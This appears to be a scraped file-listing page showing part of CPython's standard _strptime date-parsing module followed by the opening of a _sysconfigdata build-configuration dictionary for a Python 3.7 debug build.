r"(?P<w>[0-6])", 'u': r"(?P<u>[1-7])", 'V': r"(?P<V>5[0-3]\|0[1-9]\|[1-4]\d\|\d)", # W is set below by using 'U' 'y': r"(?P<y>\d\d)", #XXX: Does 'Y' need to worry about having less or more than # 4 digits? 'Y': r"(?P<Y>\d\d\d\d)", 'z': r"(?P<z>[+-]\d\d:?[0-5]\d(:?[0-5]\d(\.\d{1,6})?)?\|Z)", 'A': self.__seqToRE(self.locale_time.f_weekday, 'A'), 'a': self.__seqToRE(self.locale_time.a_weekday, 'a'), 'B': self.__seqToRE(self.locale_time.f_month[1:], 'B'), 'b': self.__seqToRE(self.locale_time.a_month[1:], 'b'), 'p': self.__seqToRE(self.locale_time.am_pm, 'p'), 'Z': self.__seqToRE((tz for tz_names in self.locale_time.timezone for tz in tz_names), 'Z'), '%': '%'}) base.__setitem__('W', base.__getitem__('U').replace('U', 'W')) base.__setitem__('c', self.pattern(self.locale_time.LC_date_time)) base.__setitem__('x', self.pattern(self.locale_time.LC_date)) base.__setitem__('X', self.pattern(self.locale_time.LC_time)) def __seqToRE(self, to_convert, directive): """Convert a list to a regex string for matching a directive. Want possible matching values to be from longest to shortest. This prevents the possibility of a match occurring for a value that also a substring of a larger value that should have matched (e.g., 'abc' matching when 'abcdef' should have been the match). """ to_convert = sorted(to_convert, key=len, reverse=True) for value in to_convert: if value != '': break else: return '' regex = '\|'.join(re_escape(stuff) for stuff in to_convert) regex = '(?P<%s>%s' % (directive, regex) return '%s)' % regex def pattern(self, format): """Return regex pattern for the format string. Need to make sure that any characters that might be interpreted as regex syntax are escaped. """ processed_format = '' # The sub() call escapes all characters that might be misconstrued # as regex syntax. Cannot use re.escape since we have to deal with # format directives (%m, etc.). regex_chars = re_compile(r"([\\.^$+?{}\[\]\|])") format = regex_chars.sub(r"\\\1", format) whitespace_replacement = re_compile(r'\s+') format = whitespace_replacement.sub(r'\\s+', format) while '%' in format: directive_index = format.index('%')+1 processed_format = "%s%s%s" % (processed_format, format[:directive_index-1], self[format[directive_index]]) format = format[directive_index+1:] return "%s%s" % (processed_format, format) def compile(self, format): """Return a compiled re object for the format string.""" return re_compile(self.pattern(format), IGNORECASE) _cache_lock = _thread_allocate_lock() # DO NOT modify _TimeRE_cache or _regex_cache without acquiring the cache lock # first! _TimeRE_cache = TimeRE() _CACHE_MAX_SIZE = 5 # Max number of regexes stored in _regex_cache _regex_cache = {} def _calc_julian_from_U_or_W(year, week_of_year, day_of_week, week_starts_Mon): """Calculate the Julian day based on the year, week of the year, and day of the week, with week_start_day representing whether the week of the year assumes the week starts on Sunday or Monday (6 or 0).""" first_weekday = datetime_date(year, 1, 1).weekday() # If we are dealing with the %U directive (week starts on Sunday), it's # easier to just shift the view to Sunday being the first day of the # week. if not week_starts_Mon: first_weekday = (first_weekday + 1) % 7 day_of_week = (day_of_week + 1) % 7 # Need to watch out for a week 0 (when the first day of the year is not # the same as that specified by %U or %W). week_0_length = (7 - first_weekday) % 7 if week_of_year == 0: return 1 + day_of_week - first_weekday else: days_to_week = week_0_length + (7 (week_of_year - 1)) return 1 + days_to_week + day_of_week def _calc_julian_from_V(iso_year, iso_week, iso_weekday): """Calculate the Julian day based on the ISO 8601 year, week, and weekday. ISO weeks start on Mondays, with week 01 being the week containing 4 Jan. ISO week days range from 1 (Monday) to 7 (Sunday). """ correction = datetime_date(iso_year, 1, 4).isoweekday() + 3 ordinal = (iso_week * 7) + iso_weekday - correction # ordinal may be negative or 0 now, which means the date is in the previous # calendar year if ordinal < 1: ordinal += datetime_date(iso_year, 1, 1).toordinal() iso_year -= 1 ordinal -= datetime_date(iso_year, 1, 1).toordinal() return iso_year, ordinal def _strptime(data_string, format="%a %b %d %H:%M:%S %Y"): """Return a 2-tuple consisting of a time struct and an int containing the number of microseconds based on the input string and the format string.""" for index, arg in enumerate([data_string, format]): if not isinstance(arg, str): msg = "strptime() argument {} must be str, not {}" raise TypeError(msg.format(index, type(arg))) global _TimeRE_cache, _regex_cache with _cache_lock: locale_time = _TimeRE_cache.locale_time if (_getlang() != locale_time.lang or time.tzname != locale_time.tzname or time.daylight != locale_time.daylight): _TimeRE_cache = TimeRE() _regex_cache.clear() locale_time = _TimeRE_cache.locale_time if len(_regex_cache) > _CACHE_MAX_SIZE: _regex_cache.clear() format_regex = _regex_cache.get(format) if not format_regex: try: format_regex = _TimeRE_cache.compile(format) # KeyError raised when a bad format is found; can be specified as # \\, in which case it was a stray % but with a space after it except KeyError as err: bad_directive = err.args[0] if bad_directive == "\\": bad_directive = "%" del err raise ValueError("'%s' is a bad directive in format '%s'" % (bad_directive, format)) from None # IndexError only occurs when the format string is "%" except IndexError: raise ValueError("stray %% in format '%s'" % format) from None _regex_cache[format] = format_regex found = format_regex.match(data_string) if not found: raise ValueError("time data %r does not match format %r" % (data_string, format)) if len(data_string) != found.end(): raise ValueError("unconverted data remains: %s" % data_string[found.end():]) iso_year = year = None month = day = 1 hour = minute = second = fraction = 0 tz = -1 gmtoff = None gmtoff_fraction = 0 # Default to -1 to signify that values not known; not critical to have, # though iso_week = week_of_year = None week_of_year_start = None # weekday and julian defaulted to None so as to signal need to calculate # values weekday = julian = None found_dict = found.groupdict() for group_key in found_dict.keys(): # Directives not explicitly handled below: # c, x, X # handled by making out of other directives # U, W # worthless without day of the week if group_key == 'y': year = int(found_dict['y']) # Open Group specification for strptime() states that a %y #value in the range of [00, 68] is in the century 2000, while #[69,99] is in the century 1900 if year <= 68: year += 2000 else: year += 1900 elif group_key == 'Y': year = int(found_dict['Y']) elif group_key == 'G': iso_year = int(found_dict['G']) elif group_key == 'm': month = int(found_dict['m']) elif group_key == 'B': month = locale_time.f_month.index(found_dict['B'].lower()) elif group_key == 'b': month = locale_time.a_month.index(found_dict['b'].lower()) elif group_key == 'd': day = int(found_dict['d']) elif group_key == 'H': hour = int(found_dict['H']) elif group_key == 'I': hour = int(found_dict['I']) ampm = found_dict.get('p', '').lower() # If there was no AM/PM indicator, we'll treat this like AM if ampm in ('', locale_time.am_pm[0]): # We're in AM so the hour is correct unless we're # looking at 12 midnight. # 12 midnight == 12 AM == hour 0 if hour == 12: hour = 0 elif ampm == locale_time.am_pm[1]: # We're in PM so we need to add 12 to the hour unless # we're looking at 12 noon. # 12 noon == 12 PM == hour 12 if hour != 12: hour += 12 elif group_key == 'M': minute = int(found_dict['M']) elif group_key == 'S': second = int(found_dict['S']) elif group_key == 'f': s = found_dict['f'] # Pad to always return microseconds. s += "0" * (6 - len(s)) fraction = int(s) elif group_key == 'A': weekday = locale_time.f_weekday.index(found_dict['A'].lower()) elif group_key == 'a': weekday = locale_time.a_weekday.index(found_dict['a'].lower()) elif group_key == 'w': weekday = int(found_dict['w']) if weekday == 0: weekday = 6 else: weekday -= 1 elif group_key == 'u': weekday = int(found_dict['u']) weekday -= 1 elif group_key == 'j': julian = int(found_dict['j']) elif group_key in ('U', 'W'): week_of_year = int(found_dict[group_key]) if group_key == 'U': # U starts week on Sunday. week_of_year_start = 6 else: # W starts week on Monday. week_of_year_start = 0 elif group_key == 'V': iso_week = int(found_dict['V']) elif group_key == 'z': z = found_dict['z'] if z == 'Z': gmtoff = 0 else: if z[3] == ':': z = z[:3] + z[4:] if len(z) > 5: if z[5] != ':': msg = f"Inconsistent use of : in {found_dict['z']}" raise ValueError(msg) z = z[:5] + z[6:] hours = int(z[1:3]) minutes = int(z[3:5]) seconds = int(z[5:7] or 0) gmtoff = (hours * 60 * 60) + (minutes * 60) + seconds gmtoff_remainder = z[8:] # Pad to always return microseconds. gmtoff_remainder_padding = "0" * (6 - len(gmtoff_remainder)) gmtoff_fraction = int(gmtoff_remainder + gmtoff_remainder_padding) if z.startswith("-"): gmtoff = -gmtoff gmtoff_fraction = -gmtoff_fraction elif group_key == 'Z': # Since -1 is default value only need to worry about setting tz if # it can be something other than -1. found_zone = found_dict['Z'].lower() for value, tz_values in enumerate(locale_time.timezone): if found_zone in tz_values: # Deal with bad locale setup where timezone names are the # same and yet time.daylight is true; too ambiguous to # be able to tell what timezone has daylight savings if (time.tzname[0] == time.tzname[1] and time.daylight and found_zone not in ("utc", "gmt")): break else: tz = value break # Deal with the cases where ambiguities arize # don't assume default values for ISO week/year if year is None and iso_year is not None: if iso_week is None or weekday is None: raise ValueError("ISO year directive '%G' must be used with " "the ISO week directive '%V' and a weekday " "directive ('%A', '%a', '%w', or '%u').") if julian is not None: raise ValueError("Day of the year directive '%j' is not " "compatible with ISO year directive '%G'. " "Use '%Y' instead.") elif week_of_year is None and iso_week is not None: if weekday is None: raise ValueError("ISO week directive '%V' must be used with " "the ISO year directive '%G' and a weekday " "directive ('%A', '%a', '%w', or '%u').") else: raise ValueError("ISO week directive '%V' is incompatible with " "the year directive '%Y'. Use the ISO year '%G' " "instead.") leap_year_fix = False if year is None and month == 2 and day == 29: year = 1904 # 1904 is first leap year of 20th century leap_year_fix = True elif year is None: year = 1900 # If we know the week of the year and what day of that week, we can figure # out the Julian day of the year. if julian is None and weekday is not None: if week_of_year is not None: week_starts_Mon = True if week_of_year_start == 0 else False julian = _calc_julian_from_U_or_W(year, week_of_year, weekday, week_starts_Mon) elif iso_year is not None and iso_week is not None: year, julian = _calc_julian_from_V(iso_year, iso_week, weekday + 1) if julian is not None and julian <= 0: year -= 1 yday = 366 if calendar.isleap(year) else 365 julian += yday if julian is None: # Cannot pre-calculate datetime_date() since can change in Julian # calculation and thus could have different value for the day of # the week calculation. # Need to add 1 to result since first day of the year is 1, not 0. julian = datetime_date(year, month, day).toordinal() - \ datetime_date(year, 1, 1).toordinal() + 1 else: # Assume that if they bothered to include Julian day (or if it was # calculated above with year/week/weekday) it will be accurate. datetime_result = datetime_date.fromordinal( (julian - 1) + datetime_date(year, 1, 1).toordinal()) year = datetime_result.year month = datetime_result.month day = datetime_result.day if weekday is None: weekday = datetime_date(year, month, day).weekday() # Add timezone info tzname = found_dict.get("Z") if leap_year_fix: # the caller didn't supply a year but asked for Feb 29th. We couldn't # use the default of 1900 for computations. We set it back to ensure # that February 29th is smaller than March 1st. year = 1900 return (year, month, day, hour, minute, second, weekday, julian, tz, tzname, gmtoff), fraction, gmtoff_fraction def _strptime_time(data_string, format="%a %b %d %H:%M:%S %Y"): """Return a time struct based on the input string and the format string.""" tt = _strptime(data_string, format)[0] return time.struct_time(tt[:time._STRUCT_TM_ITEMS]) def _strptime_datetime(cls, data_string, format="%a %b %d %H:%M:%S %Y"): """Return a class cls instance based on the input string and the format string.""" tt, fraction, gmtoff_fraction = _strptime(data_string, format) tzname, gmtoff = tt[-2:] args = tt[:6] + (fraction,) if gmtoff is not None: tzdelta = datetime_timedelta(seconds=gmtoff, microseconds=gmtoff_fraction) if tzname: tz = datetime_timezone(tzdelta, tzname) else: tz = datetime_timezone(tzdelta) args += (tz,) return cls(*args)	24.91 KB	2024-04-17 17:55
📄 _sysconfigdata_dm_linux_x86_64-linux-gnu.py # system configuration generated and used by the sysconfig module build_time_vars = {'ABIFLAGS': 'dm', 'AC_APPLE_UNIVERSAL_BUILD': 0, 'AIX_GENUINE_CPLUSPLUS': 0, 'ANDROID_API_LEVEL': 0, 'AR': 'ar', 'ARFLAGS': 'rcs', 'BASECFLAGS': '-Wno-unused-result -Wsign-compare', 'BASECPPFLAGS': '-IObjects -IInclude -IPython', 'BASEMODLIBS': '', 'BINDIR': '/opt/alt/python37/bin', 'BINLIBDEST': '/opt/alt/python37/lib64/python3.7', 'BLDLIBRARY': '-L. -lpython3.7dm', 'BLDSHARED': 'gcc -shared -Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64', 'BUILDEXE': '', 'BUILDPYTHON': 'python', 'BUILD_GNU_TYPE': 'x86_64-redhat-linux-gnu', 'BYTESTR_DEPS': '\\', 'CC': 'gcc', 'CCSHARED': '-fPIC', 'CFLAGS': '-Wno-unused-result -Wsign-compare -DDYNAMIC_ANNOTATIONS_ENABLED=1 ' '-O2 -flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic -fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC ' '-fwrapv -O2 -flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic -fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC ' '-fwrapv -O0', 'CFLAGSFORSHARED': '-fPIC', 'CFLAGS_ALIASING': '', 'CFLAGS_NODIST': '', 'CONFIGFILES': 'configure configure.ac acconfig.h pyconfig.h.in ' 'Makefile.pre.in', 'CONFIGURE_CFLAGS': '-O2 -flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall ' '-Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 ' '-Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic ' '-fasynchronous-unwind-tables -fstack-clash-protection ' '-fcf-protection -D_GNU_SOURCE -fPIC -fwrapv', 'CONFIGURE_CFLAGS_NODIST': '-std=c99 -Wextra -Wno-unused-result ' '-Wno-unused-parameter ' '-Wno-missing-field-initializers ' '-Wno-cast-function-type ' '-Werror=implicit-function-declaration', 'CONFIGURE_CPPFLAGS': '', 'CONFIGURE_LDFLAGS': '-Wl,-z,relro -Wl,--as-needed -Wl,-z,now ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' '-L/opt/alt/python37/lib64 ' '-Wl,-rpath=/opt/alt/python37/lib64', 'CONFIGURE_LDFLAGS_NODIST': '', 'CONFIG_ARGS': "'--build=x86_64-redhat-linux-gnu' " "'--host=x86_64-redhat-linux-gnu' '--program-prefix=' " "'--disable-dependency-tracking' '--prefix=/opt/alt/python37' " "'--exec-prefix=/opt/alt/python37' " "'--bindir=/opt/alt/python37/bin' " "'--sbindir=/opt/alt/python37/sbin' '--sysconfdir=/etc' " "'--datadir=/opt/alt/python37/share' " "'--includedir=/opt/alt/python37/include' " "'--libdir=/opt/alt/python37/lib64' " "'--libexecdir=/opt/alt/python37/libexec' " "'--localstatedir=/var' '--sharedstatedir=/var/lib' " "'--mandir=/opt/alt/python37/share/man' " "'--infodir=/opt/alt/python37/share/info' '--enable-ipv6' " "'--enable-shared' '--with-computed-gotos=yes' " "'--with-dbmliborder=gdbm:ndbm:bdb' '--with-system-ffi' " "'--enable-loadable-sqlite-extensions' '--with-systemtap' " "'--with-valgrind' '--with-pydebug' '--with-tsc' " "'--with-count-allocs' '--with-call-profile' " "'--without-ensurepip' 'build_alias=x86_64-redhat-linux-gnu' " "'host_alias=x86_64-redhat-linux-gnu' 'CC=gcc' 'CFLAGS=-O2 " '-flto=auto -ffat-lto-objects -fexceptions -g ' '-grecord-gcc-switches -pipe -Wall -Werror=format-security ' '-Wp,-D_FORTIFY_SOURCE=2 -Wp,-D_GLIBCXX_ASSERTIONS ' '-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 ' '-fstack-protector-strong ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -m64 ' '-march=x86-64-v2 -mtune=generic -fasynchronous-unwind-tables ' '-fstack-clash-protection -fcf-protection -D_GNU_SOURCE -fPIC ' "-fwrapv' 'LDFLAGS=-Wl,-z,relro -Wl,--as-needed -Wl,-z,now " '-specs=/usr/lib/rpm/redhat/redhat-hardened-ld ' '-specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 ' "-L/opt/alt/python37/lib64 -Wl,-rpath=/opt/alt/python37/lib64' " "'CPPFLAGS=' " "'PKG_CONFIG_PATH=:/opt/alt/python37/lib64/pkgconfig:/opt/alt/python37/share/pkgconfig'", 'CONFINCLUDEDIR': '/opt/alt/python37/include', 'CONFINCLUDEPY': '/opt/alt/python37/include/python3.7dm', 'COREPYTHONPATH': '', 'COVERAGE_INFO': '/builddir/build/BUILD/Python-3.7.17/build/debug/coverage.info', 'COVERAGE_REPORT': '/builddir/build/BUILD/Python-3.7.17/build/debug/lcov-report', 'COVERAGE_REPORT_OPTIONS': '--no-branch-coverage --title "CPython lcov ' 'report"', 'CPPFLAGS': '-IObjects -IInclude -IPython -I. ' '-I/builddir/build/BUILD/Python-3.7.17/Include', 'CXX': 'g++', 'DESTDIRS': '/opt/alt/python37 /opt/alt/python37/lib64 ' '/opt/alt/python37/lib64/python3.7 ' '/opt/alt/python37/lib64/python3.7/lib-dynload', 'DESTLIB': '/opt/alt/python37/lib64/python3.7', 'DESTPATH': '', 'DESTSHARED': '/opt/alt/python37/lib64/python3.7/lib-dynload', 'DFLAGS': '', 'DIRMODE': 755, 'DIST': 'README.rst ChangeLog configure configure.ac acconfig.h pyconfig.h.in ' 'Makefile.pre.in Include Lib Misc Ext-dummy', 'DISTDIRS': 'Include Lib Misc Ext-dummy', 'DISTFILES': 'README.rst ChangeLog configure configure.ac acconfig.h ' 'pyconfig.h.in Makefile.pre.in', 'DLINCLDIR': '.', 'DLLLIBRARY': '', 'DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754': 0, 'DOUBLE_IS_BIG_ENDIAN_IEEE754': 0, 'DOUBLE_IS_LITTLE_ENDIAN_IEEE754': 1, 'DTRACE': '', 'DTRACE_DEPS': '\\', 'DTRACE_HEADERS': '', 'DTRACE_OBJS': '', 'DYNLOADFILE': 'dynload_shlib.o', 'ENABLE_IPV6': 1, 'ENSUREPIP': 'no', 'EXE': '', 'EXEMODE': 755, 'EXTRATESTOPTS': '', 'EXT_SUFFIX': '.cpython-37dm-x86_64-linux-gnu.so', 'FILEMODE': 644, 'FLOCK_NEEDS_LIBBSD': 0, 'GETPGRP_HAVE_ARG': 0, 'GETTIMEOFDAY_NO_TZ': 0, 'GITBRANCH': '', 'GITTAG': '', 'GITVERSION': '', 'GNULD': 'yes', 'HAVE_ACCEPT4': 1, 'HAVE_ACOSH': 1, 'HAVE_ADDRINFO': 1, 'HAVE_ALARM': 1, 'HAVE_ALIGNED_REQUIRED': 0, 'HAVE_ALLOCA_H': 1, 'HAVE_ALTZONE': 0, 'HAVE_ASINH': 1, 'HAVE_ASM_TYPES_H': 1, 'HAVE_ATANH': 1, 'HAVE_BIND_TEXTDOMAIN_CODESET': 1, 'HAVE_BLUETOOTH_BLUETOOTH_H': 1, 'HAVE_BLUETOOTH_H': 0, 'HAVE_BROKEN_MBSTOWCS': 0, 'HAVE_BROKEN_NICE': 0, 'HAVE_BROKEN_PIPE_BUF': 0, 'HAVE_BROKEN_POLL': 0, 'HAVE_BROKEN_POSIX_SEMAPHORES': 0, 'HAVE_BROKEN_PTHREAD_SIGMASK': 0, 'HAVE_BROKEN_SEM_GETVALUE': 0, 'HAVE_BROKEN_UNSETENV': 0, 'HAVE_BUILTIN_ATOMIC': 1, 'HAVE_CHFLAGS': 0, 'HAVE_CHOWN': 1, 'HAVE_CHROOT': 1, 'HAVE_CLOCK': 1, 'HAVE_CLOCK_GETRES': 1, 'HAVE_CLOCK_GETTIME': 1, 'HAVE_CLOCK_SETTIME': 1, 'HAVE_COMPUTED_GOTOS': 1, 'HAVE_CONFSTR': 1, 'HAVE_CONIO_H': 0, 'HAVE_COPYSIGN': 1, 'HAVE_CRYPT_H': 1, 'HAVE_CRYPT_R': 1, 'HAVE_CTERMID': 1, 'HAVE_CTERMID_R': 0, 'HAVE_CURSES_FILTER': 1, 'HAVE_CURSES_H': 1, 'HAVE_CURSES_HAS_KEY': 1, 'HAVE_CURSES_IMMEDOK': 1, 'HAVE_CURSES_IS_PAD': 1, 'HAVE_CURSES_IS_TERM_RESIZED': 1, 'HAVE_CURSES_RESIZETERM': 1, 'HAVE_CURSES_RESIZE_TERM': 1, 'HAVE_CURSES_SYNCOK': 1, 'HAVE_CURSES_TYPEAHEAD': 1, 'HAVE_CURSES_USE_ENV': 1, 'HAVE_CURSES_WCHGAT': 1, 'HAVE_DECL_ISFINITE': 1, 'HAVE_DECL_ISINF': 1, 'HAVE_DECL_ISNAN': 1, 'HAVE_DECL_RTLD_DEEPBIND': 1, 'HAVE_DECL_RTLD_GLOBAL': 1, 'HAVE_DECL_RTLD_LAZY': 1, 'HAVE_DECL_RTLD_LOCAL': 1, 'HAVE_DECL_RTLD_MEMBER': 0, 'HAVE_DECL_RTLD_NODELETE': 1, 'HAVE_DECL_RTLD_NOLOAD': 1, 'HAVE_DECL_RTLD_NOW': 1, 'HAVE_DECL_TZNAME': 0, 'HAVE_DEVICE_MACROS': 1, 'HAVE_DEV_PTC': 0, 'HAVE_DEV_PTMX': 1, 'HAVE_DIRECT_H': 0, 'HAVE_DIRENT_D_TYPE': 1, 'HAVE_DIRENT_H': 1, 'HAVE_DIRFD': 1, 'HAVE_DLFCN_H': 1, 'HAVE_DLOPEN': 1, 'HAVE_DUP2': 1, 'HAVE_DUP3': 1, 'HAVE_DYNAMIC_LOADING': 1, 'HAVE_ENDIAN_H': 1, 'HAVE_EPOLL': 1, 'HAVE_EPOLL_CREATE1': 1, 'HAVE_ERF': 1, 'HAVE_ERFC': 1, 'HAVE_ERRNO_H': 1, 'HAVE_EXECV': 1, 'HAVE_EXPM1': 1, 'HAVE_FACCESSAT': 1, 'HAVE_FCHDIR': 1, 'HAVE_FCHMOD': 1, 'HAVE_FCHMODAT': 1, 'HAVE_FCHOWN': 1, 'HAVE_FCHOWNAT': 1, 'HAVE_FCNTL_H': 1, 'HAVE_FDATASYNC': 1, 'HAVE_FDOPENDIR': 1, 'HAVE_FEXECVE': 1, 'HAVE_FINITE': 1, 'HAVE_FLOCK': 1, 'HAVE_FORK': 1, 'HAVE_FORKPTY': 1, 'HAVE_FPATHCONF': 1, 'HAVE_FSEEK64': 0, 'HAVE_FSEEKO': 1, 'HAVE_FSTATAT': 1, 'HAVE_FSTATVFS': 1, 'HAVE_FSYNC': 1, 'HAVE_FTELL64': 0, 'HAVE_FTELLO': 1, 'HAVE_FTIME': 1, 'HAVE_FTRUNCATE': 1, 'HAVE_FUTIMENS': 1, 'HAVE_FUTIMES': 1, 'HAVE_FUTIMESAT': 1, 'HAVE_GAI_STRERROR': 1, 'HAVE_GAMMA': 1, 'HAVE_GCC_ASM_FOR_MC68881': 0, 'HAVE_GCC_ASM_FOR_X64': 1, 'HAVE_GCC_ASM_FOR_X87': 1, 'HAVE_GCC_UINT128_T': 1, 'HAVE_GETADDRINFO': 1, 'HAVE_GETC_UNLOCKED': 1, 'HAVE_GETENTROPY': 1, 'HAVE_GETGROUPLIST': 1, 'HAVE_GETGROUPS': 1, 'HAVE_GETHOSTBYNAME': 0, 'HAVE_GETHOSTBYNAME_R': 1, 'HAVE_GETHOSTBYNAME_R_3_ARG': 0, 'HAVE_GETHOSTBYNAME_R_5_ARG': 0, 'HAVE_GETHOSTBYNAME_R_6_ARG': 1, 'HAVE_GETITIMER': 1, 'HAVE_GETLOADAVG': 1, 'HAVE_GETLOGIN': 1, 'HAVE_GETNAMEINFO': 1, 'HAVE_GETPAGESIZE': 1, 'HAVE_GETPEERNAME': 1, 'HAVE_GETPGID': 1, 'HAVE_GETPGRP': 1, 'HAVE_GETPID': 1, 'HAVE_GETPRIORITY': 1, 'HAVE_GETPWENT': 1, 'HAVE_GETRANDOM': 1, 'HAVE_GETRANDOM_SYSCALL': 1, 'HAVE_GETRESGID': 1, 'HAVE_GETRESUID': 1, 'HAVE_GETSID': 1, 'HAVE_GETSPENT': 1, 'HAVE_GETSPNAM': 1, 'HAVE_GETTIMEOFDAY': 1, 'HAVE_GETWD': 1, 'HAVE_GLIBC_MEMMOVE_BUG': 1, 'HAVE_GRP_H': 1, 'HAVE_HSTRERROR': 1, 'HAVE_HTOLE64': 1, 'HAVE_HYPOT': 1, 'HAVE_IEEEFP_H': 0, 'HAVE_IF_NAMEINDEX': 1, 'HAVE_INET_ATON': 1, 'HAVE_INET_PTON': 1, 'HAVE_INITGROUPS': 1, 'HAVE_INTTYPES_H': 1, 'HAVE_IO_H': 0, 'HAVE_IPA_PURE_CONST_BUG': 0, 'HAVE_KILL': 1, 'HAVE_KILLPG': 1, 'HAVE_KQUEUE': 0, 'HAVE_LANGINFO_H': 1, 'HAVE_LARGEFILE_SUPPORT': 0, 'HAVE_LCHFLAGS': 0, 'HAVE_LCHMOD': 0, 'HAVE_LCHOWN': 1, 'HAVE_LGAMMA': 1, 'HAVE_LIBDL': 1, 'HAVE_LIBDLD': 0, 'HAVE_LIBIEEE': 0, 'HAVE_LIBINTL_H': 1, 'HAVE_LIBREADLINE': 1, 'HAVE_LIBRESOLV': 0, 'HAVE_LIBSENDFILE': 0, 'HAVE_LIBUTIL_H': 0, 'HAVE_LINK': 1, 'HAVE_LINKAT': 1, 'HAVE_LINUX_CAN_BCM_H': 1, 'HAVE_LINUX_CAN_H': 1, 'HAVE_LINUX_CAN_RAW_FD_FRAMES': 1, 'HAVE_LINUX_CAN_RAW_H': 1, 'HAVE_LINUX_NETLINK_H': 1, 'HAVE_LINUX_RANDOM_H': 1, 'HAVE_LINUX_TIPC_H': 1, 'HAVE_LINUX_VM_SOCKETS_H': 1, 'HAVE_LOCKF': 1, 'HAVE_LOG1P': 1, 'HAVE_LOG2': 1, 'HAVE_LONG_DOUBLE': 1, 'HAVE_LSTAT': 1, 'HAVE_LUTIMES': 1, 'HAVE_MAKEDEV': 1, 'HAVE_MBRTOWC': 1, 'HAVE_MEMORY_H': 1, 'HAVE_MEMRCHR': 1, 'HAVE_MKDIRAT': 1, 'HAVE_MKFIFO': 1, 'HAVE_MKFIFOAT': 1, 'HAVE_MKNOD': 1, 'HAVE_MKNODAT': 1, 'HAVE_MKTIME': 1, 'HAVE_MMAP': 1, 'HAVE_MREMAP': 1, 'HAVE_NCURSES_H': 1, 'HAVE_NDIR_H': 0, 'HAVE_NETPACKET_PACKET_H': 1, 'HAVE_NET_IF_H': 1, 'HAVE_NICE': 1, 'HAVE_OPENAT': 1, 'HAVE_OPENPTY': 1, 'HAVE_PATHCONF': 1, 'HAVE_PAUSE': 1, 'HAVE_PIPE2': 1, 'HAVE_PLOCK': 0, 'HAVE_POLL': 1, 'HAVE_POLL_H': 1, 'HAVE_POSIX_FADVISE': 1, 'HAVE_POSIX_FALLOCATE': 1, 'HAVE_POSIX_SPAWN': 1, 'HAVE_PREAD': 1, 'HAVE_PREADV': 1, 'HAVE_PREADV2': 1, 'HAVE_PRLIMIT': 1, 'HAVE_PROCESS_H': 0, 'HAVE_PROTOTYPES': 1, 'HAVE_PTHREAD_DESTRUCTOR': 0, 'HAVE_PTHREAD_GETCPUCLOCKID': 1, 'HAVE_PTHREAD_H': 1, 'HAVE_PTHREAD_INIT': 0, 'HAVE_PTHREAD_KILL': 1, 'HAVE_PTHREAD_SIGMASK': 1, 'HAVE_PTY_H': 1, 'HAVE_PUTENV': 1, 'HAVE_PWRITE': 1, 'HAVE_PWRITEV': 1, 'HAVE_PWRITEV2': 1, 'HAVE_READLINK': 1, 'HAVE_READLINKAT': 1, 'HAVE_READV': 1, 'HAVE_REALPATH': 1, 'HAVE_RENAMEAT': 1, 'HAVE_RL_APPEND_HISTORY': 1, 'HAVE_RL_CATCH_SIGNAL': 1, 'HAVE_RL_COMPLETION_APPEND_CHARACTER': 1, 'HAVE_RL_COMPLETION_DISPLAY_MATCHES_HOOK': 1, 'HAVE_RL_COMPLETION_MATCHES': 1, 'HAVE_RL_COMPLETION_SUPPRESS_APPEND': 1, 'HAVE_RL_PRE_INPUT_HOOK': 1, 'HAVE_RL_RESIZE_TERMINAL': 1, 'HAVE_ROUND': 1, 'HAVE_SCHED_GET_PRIORITY_MAX': 1, 'HAVE_SCHED_H': 1, 'HAVE_SCHED_RR_GET_INTERVAL': 1, 'HAVE_SCHED_SETAFFINITY': 1, 'HAVE_SCHED_SETPARAM': 1, 'HAVE_SCHED_SETSCHEDULER': 1, 'HAVE_SEM_GETVALUE': 1, 'HAVE_SEM_OPEN': 1, 'HAVE_SEM_TIMEDWAIT': 1, 'HAVE_SEM_UNLINK': 1, 'HAVE_SENDFILE': 1, 'HAVE_SETEGID': 1, 'HAVE_SETEUID': 1, 'HAVE_SETGID': 1, 'HAVE_SETGROUPS': 1, 'HAVE_SETHOSTNAME': 1, 'HAVE_SETITIMER': 1, 'HAVE_SETLOCALE': 1, 'HAVE_SETPGID': 1, 'HAVE_SETPGRP': 1, 'HAVE_SETPRIORITY': 1, 'HAVE_SETREGID': 1, 'HAVE_SETRESGID': 1, 'HAVE_SETRESUID': 1, 'HAVE_SETREUID': 1, 'HAVE_SETSID': 1, 'HAVE_SETUID': 1, 'HAVE_SETVBUF': 1, 'HAVE_SHADOW_H': 1, 'HAVE_SIGACTION': 1, 'HAVE_SIGALTSTACK': 1, 'HAVE_SIGINFO_T_SI_BAND': 1, 